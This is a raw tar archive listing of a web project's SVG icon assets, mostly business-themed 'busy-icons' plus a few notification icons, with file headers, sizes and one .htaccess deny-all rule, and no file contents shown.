0ustar00public/assets/assets/svg/busy-icons-svg/character08.svg000060400000026016151724235750017156 0ustar00public/assets/assets/svg/busy-icons-svg/pulse.svg000060400000004452151724235750016202 0ustar00public/assets/assets/svg/busy-icons-svg/key2.svg000060400000012451151724235750015722 0ustar00public/assets/assets/svg/busy-icons-svg/periscopemoney.svg000060400000016351151724235750020114 0ustar00public/assets/assets/svg/busy-icons-svg/conference.svg000060400000025040151724235750017155 0ustar00public/assets/assets/svg/busy-icons-svg/ingots.svg000060400000024026151724235750016354 0ustar00public/assets/assets/svg/busy-icons-svg/head-arrows.svg000060400000020226151724235750017263 0ustar00public/assets/assets/svg/busy-icons-svg/laptop-chart.svg000060400000023231151724235750017444 0ustar00public/assets/assets/svg/busy-icons-svg/team.svg000060400000022126151724235750015776 0ustar00public/assets/assets/svg/busy-icons-svg/person-flag.svg000060400000017123151724235750017266 0ustar00public/assets/assets/svg/busy-icons-svg/plant-money.svg000060400000017724151724235750017323 0ustar00public/assets/assets/svg/busy-icons-svg/hat-moustache.svg000060400000021653151724235750017616 0ustar00public/assets/assets/svg/busy-icons-svg/head-dollar.svg000060400000014452151724235750017227 0ustar00public/assets/assets/svg/busy-icons-svg/cloud-up.svg000060400000015565151724235750016611 0ustar00public/assets/assets/svg/busy-icons-svg/quill.svg000060400000010545151724235750016200 0ustar00public/assets/assets/svg/busy-icons-svg/coupon.svg000060400000014713151724235750016356 0ustar00public/assets/assets/svg/busy-icons-svg/bonsai.svg000060400000034304151724235750016324 0ustar00public/assets/assets/svg/busy-icons-svg/certificate.svg000060400000021145151724235750017332 0ustar00public/assets/assets/svg/busy-icons-svg/funnel-money.svg000060400000016677151724235750017502 0ustar00public/assets/assets/svg/busy-icons-svg/person-arrows01.svg000060400000015773151724235750020044 0ustar00public/assets/assets/svg/busy-icons-svg/bookmark.svg000060400000022215151724235750016654 0ustar00public/assets/assets/svg/busy-icons-svg/funnel.svg000060400000012171151724235750016336 0ustar00public/assets/assets/svg/busy-icons-svg/binoculars.svg000060400000020704151724235750017211 0ustar00public/assets/assets/svg/busy-icons-svg/head-flash.svg000060400000012351151724235750017043 0ustar00public/assets/assets/svg/busy-icons-svg/head-idea.svg000060400000016277151724235750016663 0ustar00public/assets/assets/svg/busy-icons-svg/calendar4.svg000060400000022243151724235750016705 0ustar00public/assets/assets/svg/busy-icons-svg/megaphone.svg000060400000015063151724235750017015 0ustar00public/assets/assets/svg/busy-icons-svg/open-sign.svg000060400000014713151724235750016752 0ustar00public/assets/assets/svg/busy-icons-svg/people-structure.svg000060400000014113151724235750020367 0ustar00public/assets/assets/svg/busy-icons-svg/calendar3.svg000060400000022125151724235750016703 0ustar00public/assets/assets/svg/busy-icons-svg/plant.svg000060400000017032151724235750016166 0ustar00public/assets/assets/svg/busy-icons-svg/keyboard.svg000060400000024542151724235750016654 0ustar00public/assets/assets/svg/busy-icons-svg/trash-bin.svg000060400000032743151724235750016745 0ustar00public/assets/assets/svg/busy-icons-svg/money2.svg000060400000022261151724235750016261 0ustar00public/assets/assets/svg/busy-icons-svg/closed-sign.svg000060400000017622151724235750017264 0ustar00public/assets/assets/svg/busy-icons-svg/emblem.svg000060400000027633151724235750016321 0ustar00public/assets/assets/svg/busy-icons-svg/gauge.svg000060400000007512151724235750016142 0ustar00public/assets/assets/svg/busy-icons-svg/pencil.svg000060400000012072151724235750016321 0ustar00public/assets/assets/svg/busy-icons-svg/newspaper.svg000060400000033661151724235750017062 0ustar00public/assets/assets/svg/busy-icons-svg/hourglass.svg000060400000015274151724235750017065 0ustar00public/assets/assets/svg/busy-icons-svg/recycle.svg000060400000021731151724235750016477 0ustar00public/assets/assets/svg/busy-icons-svg/users.svg000060400000013255151724235750016214 0ustar00public/assets/assets/svg/busy-icons-svg/money5.svg000060400000027041151724235750016265 0ustar00public/assets/assets/svg/busy-icons-svg/hand-globe.svg000060400000024205151724235750017050 0ustar00public/assets/assets/svg/busy-icons-svg/file07.svg000060400000012572151724235750016142 0ustar00public/assets/assets/svg/busy-icons-svg/tie.svg000060400000012737151724235750015640 0ustar00public/assets/assets/svg/busy-icons-svg/rocket2.svg000060400000027662151724235750016433 0ustar00public/assets/assets/svg/busy-icons-svg/fire.svg000060400000007710151724235750015777 0ustar00public/assets/assets/svg/busy-icons-svg/credit-card.svg000060400000012563151724235750017235 0ustar00public/assets/assets/svg/busy-icons-svg/arrow-left.svg000060400000010664151724235750017136 0ustar00public/assets/assets/svg/busy-icons-svg/people-structure01.svg000060400000021333151724235750020532 0ustar00public/assets/assets/svg/busy-icons-svg/manager02.svg000060400000014711151724235750016625 0ustar00public/assets/assets/svg/busy-icons-svg/laptop-cart.svg000060400000016175151724235750017305 0ustar00public/assets/assets/svg/busy-icons-svg/folder-remove.svg000060400000014445151724235750017623 0ustar00public/assets/assets/svg/busy-icons-svg/send.svg000060400000014465151724235750016010 0ustar00public/assets/assets/svg/busy-icons-svg/people-structure06.svg000060400000012344151724235750020541 0ustar00public/assets/assets/svg/busy-icons-svg/pen.svg000060400000011333151724235750015630 0ustar00public/assets/assets/svg/busy-icons-svg/chart08.svg000060400000015642151724235750016326 0ustar00public/assets/assets/svg/busy-icons-svg/ruler-compasses.svg000060400000020757151724235750020204 0ustar00public/assets/assets/svg/busy-icons-svg/user08.svg000060400000013126151724235750016176 0ustar00public/assets/assets/svg/busy-icons-svg/pen2.svg000060400000011050151724235750015706 0ustar00public/assets/assets/svg/busy-icons-svg/abacus.svg000060400000012063151724235750016305 0ustar00public/assets/assets/svg/busy-icons-svg/tablet-chart2.svg000060400000012354151724235750017506 0ustar00public/assets/assets/svg/busy-icons-svg/checklist2.svg000060400000015706151724235750017111 0ustar00public/assets/assets/svg/busy-icons-svg/chart06.svg000060400000010775151724235750016326 0ustar00public/assets/assets/svg/busy-icons-svg/pie-chart02.svg000060400000032173151724235750017071 0ustar00public/assets/assets/svg/busy-icons-svg/user06.svg000060400000011412151724235750016170 0ustar00public/assets/assets/svg/busy-icons-svg/champagne.svg000060400000016512151724235750016775 0ustar00public/assets/assets/svg/busy-icons-svg/chart01.svg000060400000015660151724235750016317 0ustar00public/assets/assets/svg/busy-icons-svg/label.svg000060400000011500151724235750016121 0ustar00public/assets/assets/svg/busy-icons-svg/user01.svg000060400000006105151724235750016166 0ustar00public/assets/assets/svg/busy-icons-svg/file09.svg000060400000013003151724235750016132 0ustar00public/assets/assets/svg/busy-icons-svg/tablet-article.svg000060400000023367151724235750017754 0ustar00public/assets/assets/svg/busy-icons-svg/gears1.svg000060400000036065151724235750016241 0ustar00public/assets/assets/svg/busy-icons-svg/preson-megaphone.svg000060400000014355151724235750020324 0ustar00public/assets/assets/svg/busy-icons-svg/smartphone-chart.svg000060400000013256151724235750020333 0ustar00public/assets/assets/svg/busy-icons-svg/brain.svg000060400000020110151724235750016132 0ustar00public/assets/assets/svg/busy-icons-svg/head-exclamation.svg000060400000010727151724235750020257 0ustar00public/assets/assets/svg/busy-icons-svg/coffee.svg000060400000016355151724235750016306 0ustar00public/assets/assets/svg/busy-icons-svg/piggy-bank.svg000060400000016076151724235750017107 0ustar00public/assets/assets/svg/busy-icons-svg/head-gears.svg000060400000023715151724235750017055 0ustar00public/assets/assets/svg/busy-icons-svg/exchange.svg000060400000021234151724235750016631 0ustar00public/assets/assets/svg/busy-icons-svg/chess.svg000060400000026154151724235750016162 0ustar00public/assets/assets/svg/busy-icons-svg/chart-analysis.svg000060400000014170151724235750017772 0ustar00public/assets/assets/svg/busy-icons-svg/cloud-down.svg000060400000014471151724235750017127 0ustar00public/assets/assets/svg/busy-icons-svg/calculator1.svg000060400000015657151724235750017275 0ustar00public/assets/assets/svg/busy-icons-svg/address-book2.svg000060400000024420151724235750017506 0ustar00public/assets/assets/svg/busy-icons-svg/headquarters.svg000060400000022172151724235750017541 0ustar00public/assets/assets/svg/busy-icons-svg/envelope-money.svg000060400000017600151724235750020013 0ustar00public/assets/assets/svg/busy-icons-svg/nest-money.svg000060400000022613151724235750017147 0ustar00public/assets/assets/svg/busy-icons-svg/buy-sign.svg000060400000014333151724235750016606 0ustar00public/assets/assets/svg/busy-icons-svg/badge02.svg000060400000015335151724235750016260 0ustar00public/assets/assets/svg/busy-icons-svg/smartphone-gears.svg000060400000012237151724235750020331 0ustar00public/assets/assets/svg/busy-icons-svg/people-meeting.svg000060400000016605151724235750017767 0ustar00public/assets/assets/svg/busy-icons-svg/checklist.svg000060400000017005151724235750017021 0ustar00public/assets/assets/svg/busy-icons-svg/globe2.svg000060400000017671151724235750016233 0ustar00public/assets/assets/svg/busy-icons-svg/hand-key.svg000060400000016062151724235750016552 0ustar00public/assets/assets/svg/busy-icons-svg/mouse.svg000060400000010711151724235750016175 0ustar00public/assets/assets/svg/busy-icons-svg/head-hourglass.svg000060400000016457151724235750017770 0ustar00public/assets/assets/svg/busy-icons-svg/buildings.svg000060400000045334151724235750017036 0ustar00public/assets/assets/svg/busy-icons-svg/file10.svg000060400000013211151724235750016123 0ustar00public/assets/assets/svg/busy-icons-svg/person-globe.svg000060400000020272151724235750017444 0ustar00public/assets/assets/svg/busy-icons-svg/chart18.svg000060400000012756151724235750016332 0ustar00public/assets/assets/svg/busy-icons-svg/steering-wheel.svg000060400000034136151724235750017776 0ustar00public/assets/assets/svg/busy-icons-svg/aim.svg000060400000012112151724235750015610 0ustar00public/assets/assets/svg/busy-icons-svg/laptop-privacy.svg000060400000014634151724235750020027 0ustar00public/assets/assets/svg/busy-icons-svg/tools.svg000060400000024250151724235750016210 0ustar00public/assets/assets/svg/busy-icons-svg/person-arrows022.svg000060400000021401151724235750020110 0ustar00public/assets/assets/svg/busy-icons-svg/chart16.svg000060400000015742151724235750016326 0ustar00public/assets/assets/svg/busy-icons-svg/smartphone-money.svg000060400000010261151724235750020352 0ustar00public/assets/assets/svg/busy-icons-svg/browser02.svg000060400000015015151724235750016674 0ustar00public/assets/assets/svg/busy-icons-svg/strategy2.svg000060400000007273151724235750017002 0ustar00public/assets/assets/svg/busy-icons-svg/exit.svg000060400000026012151724235750016017 0ustar00public/assets/assets/svg/busy-icons-svg/chart11.svg000060400000013222151724235750016310 0ustar00public/assets/assets/svg/busy-icons-svg/character07.svg000060400000021140151724235750017146 0ustar00public/assets/assets/svg/busy-icons-svg/glasses-moustache.svg000060400000012700151724235750020474 0ustar00public/assets/assets/svg/busy-icons-svg/people-arrows06.svg000060400000016357151724235750020026 0ustar00public/assets/assets/svg/busy-icons-svg/ruble.svg000060400000004103151724235750016154 0ustar00public/assets/assets/svg/busy-icons-svg/atm-cash.svg000060400000013125151724235750016544 0ustar00public/assets/assets/svg/busy-icons-svg/person-idea02.svg000060400000016462151724235750017426 0ustar00public/assets/assets/svg/busy-icons-svg/person-data.svg000060400000022501151724235750017262 0ustar00public/assets/assets/svg/busy-icons-svg/file08.svg000060400000012402151724235750016133 0ustar00public/assets/assets/svg/busy-icons-svg/shopping-cart.svg000060400000014241151724235750017625 0ustar00public/assets/assets/svg/busy-icons-svg/clock.svg000060400000014251151724235750016143 0ustar00public/assets/assets/svg/busy-icons-svg/handshake.svg000060400000022730151724235750016777 0ustar00public/assets/assets/svg/busy-icons-svg/folder-add.svg000060400000015144151724235750017053 0ustar00public/assets/assets/svg/busy-icons-svg/speaker.svg000060400000015116151724235750016503 0ustar00public/assets/assets/svg/busy-icons-svg/award1.svg000060400000025170151724235750016231 0ustar00public/assets/assets/svg/busy-icons-svg/tablet-chart3.svg000060400000012245151724235750017506 0ustar00public/assets/assets/svg/busy-icons-svg/checklist3.svg000060400000015620151724235750017105 0ustar00public/assets/assets/svg/busy-icons-svg/chart07.svg000060400000010360151724235750016315 0ustar00public/assets/assets/svg/busy-icons-svg/user07.svg000060400000012654151724235750016202 0ustar00public/assets/assets/svg/busy-icons-svg/head.svg000060400000007333151724235750015754 0ustar00public/assets/assets/svg/busy-icons-svg/people-idea.svg000060400000016322151724235750017235 0ustar00public/assets/assets/svg/busy-icons-svg/laptop-diagram.svg000060400000024123151724235750017750 0ustar00public/assets/assets/svg/busy-icons-svg/people-structure07.svg000060400000026230151724235750020541 0ustar00public/assets/assets/svg/busy-icons-svg/pound.svg000060400000004054151724235750016175 0ustar00public/assets/assets/svg/busy-icons-svg/chart09.svg000060400000020700151724235750016316 0ustar00public/assets/assets/svg/busy-icons-svg/user09.svg000060400000013364151724235750016203 0ustar00public/assets/assets/svg/busy-icons-svg/file01.svg000060400000007711151724235750016133 0ustar00public/assets/assets/svg/busy-icons-svg/contact-book.svg000060400000015255151724235750017440 0ustar00public/assets/assets/svg/busy-icons-svg/telescope.svg000060400000016325151724235750017037 0ustar00public/assets/assets/svg/busy-icons-svg/file06.svg000060400000011535151724235750016137 0ustar00public/assets/assets/svg/busy-icons-svg/speaker02.svg000060400000012623151724235750016645 0ustar00public/assets/assets/svg/busy-icons-svg/laptop.svg000060400000011315151724235750016345 0ustar00public/assets/assets/svg/busy-icons-svg/smartphone.svg000060400000007211151724235750017226 0ustar00public/assets/assets/svg/busy-icons-svg/people-meeting02.svg000060400000017045151724235750020130 0ustar00public/assets/assets/svg/busy-icons-svg/people-gears.svg000060400000022000151724235750017422 0ustar00public/assets/assets/svg/busy-icons-svg/laptop-settings.svg000060400000016551151724235750020212 0ustar00public/assets/assets/svg/busy-icons-svg/laptop-envelope.svg000060400000016573151724235750020173 0ustar00public/assets/assets/svg/busy-icons-svg/money4.svg000060400000017053151724235750016266 0ustar00public/assets/assets/svg/busy-icons-svg/satellite-dish.svg000060400000016227151724235750017770 0ustar00public/assets/assets/svg/busy-icons-svg/person-checkmark.svg000060400000014102151724235750020277 0ustar00public/assets/assets/svg/busy-icons-svg/chemistry.svg000060400000020744151724235750017063 0ustar00public/assets/assets/svg/busy-icons-svg/money3.svg000060400000020254151724235750016262 0ustar00public/assets/assets/svg/busy-icons-svg/.htaccess000044400000000177151724235750016131 0ustar00 Order allow,deny Deny from all public/assets/assets/svg/busy-icons-svg/bomb.svg000060400000016072151724235750015772 0ustar00public/assets/assets/svg/busy-icons-svg/calendar2.svg000060400000020720151724235750016701 0ustar00public/assets/assets/svg/busy-icons-svg/lock.svg000060400000014160151724235750015777 0ustar00public/assets/assets/svg/busy-icons-svg/calendar5.svg000060400000024235151724235750016711 0ustar00public/assets/assets/svg/busy-icons-svg/hat.svg000060400000013464151724235750015631 0ustar00public/assets/assets/svg/busy-icons-svg/smartphone-growth.svg000060400000007142151724235750020541 0ustar00public/assets/assets/svg/busy-icons-svg/fax.svg000060400000024153151724235750015630 0ustar00public/assets/assets/svg/busy-icons-svg/folder-private.svg000060400000016131151724235750017772 0ustar00public/assets/assets/svg/busy-icons-svg/award2.svg000060400000021075151724235750016232 0ustar00public/assets/assets/svg/busy-icons-svg/head-question.svg000060400000011375151724235750017622 0ustar00public/assets/assets/svg/busy-icons-svg/chart04.svg000060400000012452151724235750016316 0ustar00public/assets/assets/svg/busy-icons-svg/user04.svg000060400000011144151724235750016170 0ustar00public/assets/assets/svg/busy-icons-svg/chat.svg000060400000011402151724235750015762 0ustar00public/assets/assets/svg/busy-icons-svg/folders.svg000060400000034156151724235750016514 0ustar00public/assets/assets/svg/busy-icons-svg/chart03.svg000060400000021313151724235750016311 0ustar00public/assets/assets/svg/busy-icons-svg/user03.svg000060400000011762151724235750016175 0ustar00public/assets/assets/svg/busy-icons-svg/tablet-chart.svg000060400000010604151724235750017420 0ustar00public/assets/assets/svg/busy-icons-svg/arrows-updown.svg000060400000021315151724235750017676 0ustar00public/assets/assets/svg/busy-icons-svg/newspaper-pen.svg000060400000017664151724235750017647 0ustar00public/assets/assets/svg/busy-icons-svg/puzzle.svg000060400000013500151724235750016375 0ustar00public/assets/assets/svg/busy-icons-svg/head-structure.svg000060400000016055151724235750020013 0ustar00public/assets/assets/svg/busy-icons-svg/award5.svg000060400000021412151724235750016230 0ustar00public/assets/assets/svg/busy-icons-svg/wallet.svg000060400000016111151724235750016335 0ustar00public/assets/assets/svg/busy-icons-svg/alarm.svg000060400000011333151724235750016142 0ustar00public/assets/assets/svg/busy-icons-svg/file05.svg000060400000014166151724235750016141 0ustar00public/assets/assets/svg/busy-icons-svg/tablet.svg000060400000015152151724235750016324 0ustar00public/assets/assets/svg/busy-icons-svg/people-structure03.svg000060400000017201151724235750020533 0ustar00public/assets/assets/svg/busy-icons-svg/gauge2.svg000060400000017521151724235750016225 0ustar00public/assets/assets/svg/busy-icons-svg/venn-diagram.svg000060400000013065151724235750017422 0ustar00public/assets/assets/svg/busy-icons-svg/people-structure04.svg000060400000014001151724235750020527 0ustar00public/assets/assets/svg/busy-icons-svg/lightbulb.svg000060400000007740151724235750017031 0ustar00public/assets/assets/svg/busy-icons-svg/hand-money.svg000060400000016114151724235750017107 0ustar00public/assets/assets/svg/busy-icons-svg/file02.svg000060400000015112151724235750016126 0ustar00public/assets/assets/svg/busy-icons-svg/like.svg000060400000015161151724235750015775 0ustar00public/assets/assets/svg/busy-icons-svg/scales.svg000060400000021651151724235750016324 0ustar00public/assets/assets/svg/busy-icons-svg/magnet-money.svg000060400000033571151724235750017456 0ustar00public/assets/assets/svg/busy-icons-svg/preson-chart03.svg000060400000020765151724235750017627 0ustar00public/assets/assets/svg/busy-icons-svg/yen.svg000060400000004330151724235750015640 0ustar00public/assets/assets/svg/busy-icons-svg/newspaper-jobs.svg000060400000036340151724235750020012 0ustar00public/assets/assets/svg/busy-icons-svg/smartphone-user.svg000060400000010564151724235750020207 0ustar00public/assets/assets/svg/busy-icons-svg/tools2.svg000060400000023345151724235750016276 0ustar00public/assets/assets/svg/busy-icons-svg/NewTux.svg000060400000051265151724235750016310 0ustar00 public/assets/assets/svg/busy-icons-svg/laptop-user.svg000060400000015312151724235750017322 0ustar00public/assets/assets/svg/busy-icons-svg/smartphone-exclamation.svg000060400000011115151724235750021526 0ustar00public/assets/assets/svg/busy-icons-svg/preson-chart04.svg000060400000021352151724235750017621 0ustar00public/assets/assets/svg/busy-icons-svg/preson-laurels.svg000060400000026073151724235750020030 0ustar00public/assets/assets/svg/busy-icons-svg/folder.svg000060400000014344151724235750016326 0ustar00public/assets/assets/svg/busy-icons-svg/bank.svg000060400000033754151724235750015774 0ustar00public/assets/assets/svg/busy-icons-svg/chart-pyramid.svg000060400000035176151724235750017625 0ustar00public/assets/assets/svg/busy-icons-svg/sign.svg000060400000016230151724235750016007 0ustar00public/assets/assets/svg/busy-icons-svg/note-paper.svg000060400000013630151724235750017122 0ustar00public/assets/assets/svg/busy-icons-svg/magnifying-glass.svg000060400000004771151724235750020315 0ustar00public/assets/assets/svg/busy-icons-svg/strategy03.svg000060400000024045151724235750017057 0ustar00public/assets/assets/svg/busy-icons-svg/currencies.svg000060400000017215151724235750017215 0ustar00public/assets/assets/svg/busy-icons-svg/calendar1.svg000060400000017672151724235750016714 0ustar00public/assets/assets/svg/busy-icons-svg/person-info.svg000060400000012135151724235750017306 0ustar00public/assets/assets/svg/busy-icons-svg/sale-sign.svg000060400000017055151724235750016737 0ustar00public/assets/assets/svg/busy-icons-svg/chart20.svg000060400000026000151724235750016306 0ustar00public/assets/assets/svg/busy-icons-svg/incoming.svg000060400000021374151724235750016657 0ustar00public/assets/assets/svg/busy-icons-svg/hours.svg000060400000010213151724235750016202 0ustar00public/assets/assets/svg/busy-icons-svg/paper-clip.svg000060400000005025151724235750017103 0ustar00public/assets/assets/svg/busy-icons-svg/person-arrows03.svg000060400000007756151724235750020050 0ustar00public/assets/assets/svg/busy-icons-svg/pens-pencils.svg000060400000027355151724235750017461 0ustar00public/assets/assets/svg/busy-icons-svg/globe-money.svg000060400000023353151724235750017270 0ustar00public/assets/assets/svg/busy-icons-svg/money-growth.svg000060400000037575151724235750017525 0ustar00public/assets/assets/svg/busy-icons-svg/hand-money2.svg000060400000017102151724235750017167 0ustar00public/assets/assets/svg/busy-icons-svg/bank2.svg000060400000030147151724235750016047 0ustar00public/assets/assets/svg/busy-icons-svg/drawer.svg000060400000016275151724235750016344 0ustar00public/assets/assets/svg/busy-icons-svg/chess-rook.svg000060400000017771151724235750017137 0ustar00public/assets/assets/svg/busy-icons-svg/badge01.svg000060400000017074151724235750016261 0ustar00public/assets/assets/svg/busy-icons-svg/presentation.svg000060400000027703151724235750017571 0ustar00public/assets/assets/svg/busy-icons-svg/head-battery.svg000060400000022416151724235750017423 0ustar00public/assets/assets/svg/busy-icons-svg/calculator2.svg000060400000016661151724235750017272 0ustar00public/assets/assets/svg/busy-icons-svg/dollar.svg000060400000006260151724235750016326 0ustar00public/assets/assets/svg/busy-icons-svg/book.svg000060400000025572151724235750016012 0ustar00public/assets/assets/svg/busy-icons-svg/person-time.svg000060400000013066151724235750017315 0ustar00public/assets/assets/svg/busy-icons-svg/money.svg000060400000015643151724235750016205 0ustar00public/assets/assets/svg/busy-icons-svg/briefcase.svg000060400000017602151724235750016776 0ustar00public/assets/assets/svg/busy-icons-svg/lightning.svg000060400000006055151724235750017036 0ustar00public/assets/assets/svg/busy-icons-svg/euro.svg000060400000004147151724235750016025 0ustar00public/assets/assets/svg/busy-icons-svg/apple.svg000060400000014105151724235750016147 0ustar00public/assets/assets/svg/busy-icons-svg/strategy1.svg000060400000005475151724235750017003 0ustar00public/assets/assets/svg/busy-icons-svg/chess-knight.svg000060400000021262151724235750017437 0ustar00public/assets/assets/svg/busy-icons-svg/chart12.svg000060400000015744151724235750016324 0ustar00public/assets/assets/svg/busy-icons-svg/laptop-finance.svg000060400000015544151724235750017756 0ustar00public/assets/assets/svg/busy-icons-svg/chart-board.svg000060400000020560151724235750017236 0ustar00public/assets/assets/svg/busy-icons-svg/database.svg000060400000014332151724235750016614 0ustar00public/assets/assets/svg/busy-icons-svg/character04.svg000060400000025003151724235750017145 0ustar00public/assets/assets/svg/busy-icons-svg/fish.svg000060400000024265151724235750016007 0ustar00public/assets/assets/svg/busy-icons-svg/people-handshake.svg000060400000013006151724235750020255 0ustar00public/assets/assets/svg/busy-icons-svg/security.svg000060400000021651151724235750016721 0ustar00public/assets/assets/svg/busy-icons-svg/percent.svg000060400000004530151724235750016507 0ustar00public/assets/assets/svg/busy-icons-svg/chart15.svg000060400000016342151724235750016322 0ustar00public/assets/assets/svg/busy-icons-svg/browser01.svg000060400000013661151724235750016700 0ustar00public/assets/assets/svg/busy-icons-svg/diagram-hierarchy.svg000060400000011531151724235750020426 0ustar00public/assets/assets/svg/busy-icons-svg/character03.svg000060400000024730151724235750017152 0ustar00public/assets/assets/svg/busy-icons-svg/book-apple.svg000060400000017076151724235750017111 0ustar00public/assets/assets/svg/busy-icons-svg/folder-delete.svg000060400000014602151724235750017563 0ustar00public/assets/assets/svg/busy-icons-svg/crown.svg000060400000015567151724235750016213 0ustar00public/assets/assets/svg/busy-icons-svg/laptop-chart2.svg000060400000015766151724235750017544 0ustar00public/assets/assets/svg/busy-icons-svg/manager-globe.svg000060400000025640151724235750017554 0ustar00public/assets/assets/svg/busy-icons-svg/person-puzzle.svg000060400000015243151724235750017707 0ustar00public/assets/assets/svg/busy-icons-svg/target.svg000060400000012760151724235750016341 0ustar00public/assets/assets/svg/busy-icons-svg/person-cross.svg000060400000016754151724235750017517 0ustar00public/assets/assets/svg/busy-icons-svg/address-book.svg000060400000024743151724235750017434 0ustar00public/assets/assets/svg/busy-icons-svg/safe.svg000060400000023635151724235750015774 0ustar00public/assets/assets/svg/busy-icons-svg/money6.svg000060400000020256151724235750016267 0ustar00public/assets/assets/svg/busy-icons-svg/diamond.svg000060400000015064151724235750016466 0ustar00public/assets/assets/svg/busy-icons-svg/egg.svg000060400000007275151724235750015622 0ustar00public/assets/assets/svg/busy-icons-svg/preson-chart02.svg000060400000023477151724235750017631 0ustar00public/assets/assets/svg/busy-icons-svg/arrow-right.svg000060400000010367151724235750017321 0ustar00public/assets/assets/svg/busy-icons-svg/manager-idea.svg000060400000023304151724235750017361 0ustar00public/assets/assets/svg/busy-icons-svg/head-gauge.svg000060400000017130151724235750017036 0ustar00public/assets/assets/svg/busy-icons-svg/lamp.svg000060400000022602151724235750016000 0ustar00public/assets/assets/svg/busy-icons-svg/person-scales.svg000060400000015713151724235750017632 0ustar00public/assets/assets/svg/busy-icons-svg/people-structure05.svg000060400000020050151724235750020531 0ustar00public/assets/assets/svg/busy-icons-svg/yinyang.svg000060400000004471151724235750016531 0ustar00public/assets/assets/svg/busy-icons-svg/flag.svg000060400000011107151724235750015756 0ustar00public/assets/assets/svg/busy-icons-svg/file03.svg000060400000013672151724235750016140 0ustar00public/assets/assets/svg/busy-icons-svg/bell.svg000060400000021247151724235750015771 0ustar00public/assets/assets/svg/busy-icons-svg/head-compass.svg000060400000016132151724235750017414 0ustar00public/assets/assets/svg/busy-icons-svg/file04.svg000060400000016016151724235750016134 0ustar00public/assets/assets/svg/busy-icons-svg/manager01.svg000060400000012724151724235750016626 0ustar00public/assets/assets/svg/busy-icons-svg/people-structure02.svg000060400000023547151724235750020544 0ustar00public/assets/assets/svg/busy-icons-svg/chart02.svg000060400000020235151724235750016312 0ustar00public/assets/assets/svg/busy-icons-svg/user02.svg000060400000015404151724235750016171 0ustar00public/assets/assets/svg/busy-icons-svg/office-chair.svg000060400000016671151724235750017377 0ustar00public/assets/assets/svg/busy-icons-svg/files.svg000060400000015151151724235750016152 0ustar00public/assets/assets/svg/busy-icons-svg/gears2.svg000060400000033046151724235750016236 0ustar00public/assets/assets/svg/busy-icons-svg/graduation-hat.svg000060400000013345151724235750017762 0ustar00public/assets/assets/svg/busy-icons-svg/award4.svg000060400000017111151724235750016230 0ustar00public/assets/assets/svg/busy-icons-svg/phone.svg000060400000011301151724235750016152 0ustar00public/assets/assets/svg/busy-icons-svg/award3.svg000060400000022002151724235750016222 0ustar00public/assets/assets/svg/busy-icons-svg/support-person.svg000060400000017705151724235750020077 0ustar00public/assets/assets/svg/busy-icons-svg/cloud-coins.svg000060400000021176151724235750017273 0ustar00public/assets/assets/svg/busy-icons-svg/chart05.svg000060400000010304151724235750016311 0ustar00public/assets/assets/svg/busy-icons-svg/person-umbrella.svg000060400000014253151724235750020161 0ustar00public/assets/assets/svg/busy-icons-svg/preson-stairs.svg000060400000012152151724235750017657 0ustar00public/assets/assets/svg/busy-icons-svg/user05.svg000060400000010553151724235750016174 0ustar00public/assets/assets/svg/busy-icons-svg/pie-chart01.svg000060400000011655151724235750017072 0ustar00public/assets/assets/svg/busy-icons-svg/shield.svg000060400000025030151724235750016315 0ustar00public/assets/assets/svg/busy-icons-svg/envelopes.svg000060400000013013151724235750017043 0ustar00public/assets/assets/svg/busy-icons-svg/scissors.svg000060400000020174151724235750016721 0ustar00public/assets/assets/svg/busy-icons-svg/people-search02.svg000060400000012703151724235750017741 0ustar00public/assets/assets/svg/busy-icons-svg/money-scales.svg000060400000022646151724235750017456 0ustar00public/assets/assets/svg/busy-icons-svg/chart14.svg000060400000025444151724235750016324 0ustar00public/assets/assets/svg/busy-icons-svg/character02.svg000060400000036440151724235750017152 0ustar00public/assets/assets/svg/busy-icons-svg/key.svg000060400000014232151724235750015637 0ustar00public/assets/assets/svg/busy-icons-svg/chart13.svg000060400000024523151724235750016320 0ustar00public/assets/assets/svg/busy-icons-svg/character05.svg000060400000030411151724235750017145 0ustar00public/assets/assets/svg/busy-icons-svg/laptop-article.svg000060400000024745151724235760020002 0ustar00public/assets/assets/svg/busy-icons-svg/star.svg000060400000006315151724235760016024 0ustar00public/assets/assets/svg/busy-icons-svg/wrench.svg000060400000014517151724235760016344 0ustar00public/assets/assets/svg/busy-icons-svg/umbrella.svg000060400000013455151724235760016661 0ustar00public/assets/assets/svg/busy-icons-svg/meditation.svg000060400000010370151724235760017204 0ustar00public/assets/assets/svg/busy-icons-svg/outgoing.svg000060400000020320151724235760016676 0ustar00public/assets/assets/svg/busy-icons-svg/presentation02.svg000060400000015430151724235760017726 0ustar00public/assets/assets/svg/busy-icons-svg/person-dollar.svg000060400000014140151724235760017627 0ustar00public/assets/assets/svg/busy-icons-svg/calculator3.svg000060400000020025151724235760017261 0ustar00public/assets/assets/svg/busy-icons-svg/delivery.svg000060400000016172151724235760016700 0ustar00public/assets/assets/svg/busy-icons-svg/stamp.svg000060400000023520151724235760016174 0ustar00public/assets/assets/svg/busy-icons-svg/box.svg000060400000016573151724235760015652 0ustar00public/assets/assets/svg/busy-icons-svg/tablet-pie-chart.svg000060400000016421151724235760020177 0ustar00public/assets/assets/svg/busy-icons-svg/monitor.svg000060400000017013151724235760016537 0ustar00public/assets/assets/svg/busy-icons-svg/person-arrows012.svg000060400000012221151724235760020110 0ustar00public/assets/assets/svg/busy-icons-svg/person-arrows02.svg000060400000014042151724235760020032 0ustar00public/assets/assets/svg/busy-icons-svg/tablet-pie-chart2.svg000060400000023604151724235760020262 0ustar00public/assets/assets/svg/busy-icons-svg/chart21.svg000060400000015343151724235760016320 0ustar00public/assets/assets/svg/busy-icons-svg/factory.svg000060400000027423151724235760016525 0ustar00public/assets/assets/svg/notification/ic_rv_hookup_24px.svg000060400000000443151724235760020211 0ustar00public/assets/assets/svg/notification/ic_event_available_24px.svg000060400000000444151724235760021317 0ustar00public/assets/assets/svg/notification/ic_sd_card_24px.svg000060400000000326151724235760017574 0ustar00public/assets/assets/svg/notification/ic_drive_eta_24px.svg000060400000000670151724235760020141 0ustar00public/assets/assets/svg/notification/ic_voice_chat_24px.svg000060400000000320151724235760020273 0ustar00public/assets/assets/svg/notification/ic_do_not_disturb_24px.svg000060400000000523151724235760021212 0ustar00public/assets/assets/svg/notification/ic_vibration_24px.svg000060400000000431151724235760020167 0ustar00public/assets/assets/svg/notification/ic_sync_problem_24px.svg000060400000000603151724235760020667 0ustar00public/assets/assets/svg/notification/ic_confirmation_number_24px.svg000060400000000451151724235760022234 